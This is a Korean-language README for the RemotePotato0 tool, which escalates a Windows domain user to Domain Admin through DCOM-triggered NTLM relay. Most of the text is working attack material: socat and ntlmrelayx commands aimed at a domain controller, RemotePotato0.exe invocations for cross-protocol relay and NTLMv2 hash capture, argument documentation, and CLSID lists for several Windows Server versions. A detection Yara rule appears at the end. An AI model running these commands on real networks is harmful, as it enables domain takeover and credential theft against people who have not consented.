
사용자에서 도메인 관리자로의 Windows 권한 상승
업데이트 2022-10-21: RemotePotato0의 주요 익스플로잇 시나리오인 RPC->LDAP가 수정되었습니다. 자세한 내용은 다음 링크를 참조하세요 --> https://twitter.com/splinter_code/status/1583555613950255104
또 다른 "수정되지 않을" Windows 권한 상승 도구로, 일반 사용자(User)에서 도메인 관리자(Domain Admin)로 권한을 높입니다.
RemotePotato0은 일반 사용자(User)에서 도메인 관리자(Domain Admin)로 권한을 상승시킬 수 있는 익스플로잇입니다.
간략히 설명하면:
DCOM 활성화 서비스를 악용하여 대상 머신에 현재 로그온한 모든 사용자의 NTLM 인증을 트리거합니다. 권한 있는 사용자(예: 도메인 관리자)가 동일한 머신에 로그온되어 있어야 합니다. NTLM type1이 트리거되면 크로스 프로토콜 릴레이 서버를 설정하여 권한 있는 type1 메시지를 수신하고, RPC 프로토콜을 언패킹한 후 인증을 HTTP로 패킹하여 세 번째 리소스로 릴레이합니다. 수신 측에서는 추가 릴레이 노드(예: ntlmrelayx)를 설정하거나 권한 있는 리소스로 직접 릴레이할 수 있습니다. RemotePotato0은 또한 머신에 로그온된 모든 사용자의 NTLMv2 해시를 가로채고 훔칠 수 있습니다.
공격자 머신 (10.0.0.20)
피해자 머신 (10.0.0.45)
피해자 도메인 컨트롤러 (10.0.0.10)
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user
참고: Windows Server <= 2016을 사용하는 경우 oxid 확인을 로컬에서 수행할 수 있으므로 네트워크 리디렉터(socat)를 생략할 수 있습니다.
query user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
query user
.\RemotePotato0.exe -m 2 -s 1
.\RemotePotato0.exe -m 3 -l 9997
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
RemotePotato0
@splinter_code & @decoder_it
필수 인자:
-m 모듈
허용 값:
0 - Rpc2Http 크로스 프로토콜 릴레이 서버 + 포테이토 트리거 (기본값)
1 - Rpc2Http 크로스 프로토콜 릴레이 서버
2 - Rpc 캡처(해시) 서버 + 포테이토 트리거
3 - Rpc 캡처(해시) 서버
기타 인자: (사용하는 모듈에 따라 일부는 필수 또는 선택 사항일 수 있음)
-r 원격 HTTP 릴레이 서버 IP
-t 원격 HTTP 릴레이 서버 포트 (기본값 80)
-x Rogue Oxid Resolver IP (기본값 127.0.0.1)
-p Rogue Oxid Resolver 포트 (기본값 9999)
-l RPC 릴레이 서버 수신 포트 (기본값 9997)
-s 크로스 세션 활성화 공격을 위한 세션 ID (기본값 비활성화)
-c CLSID (기본값 {5167B42F-C111-47A1-ACC4-8EABE61B0B54})
다양한 Windows 버전에서 사용 가능한 CLSID 목록:
Windows Server 2019
{0002DF02-0000-0000-C000-000000000046} - BrowserBroker Class
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI
{5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll
{924DC564-16A6-42EB-929A-9A61FA7DA06F} - Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients
{934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog
{BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout
{c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host
{f65817c8-dd85-4136-89f0-b9d12939f2c4} - IsolatedMessageDialogFactory
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - SPPUIObjectInteractive Class
{f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser
Windows Server 2016
{924DC564-16A6-42EB-929A-9A61FA7DA06F}
{f65817c8-dd85-4136-89f0-b9d12939f2c4}
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
{934b410c-43e4-415e-9935-fbc081ba93a9}
{f8842f8e-dafe-4b37-9d38-4e0714a61149}
{0002DF02-0000-0000-C000-000000000046}
{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
{c58ca859-80bc-48df-8f06-ffa94a405bff}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Windows Server 2008 R2
{FCC74B77-EC3E-4dd8-A80B-008A702075A9}
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
더 완전한 목록은 다음 사이트에서 확인할 수 있습니다 --> http://ohpe.it/juicy-potato/CLSID/
RemotePotato0 바이너리를 탐지하는 Yara 규칙:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}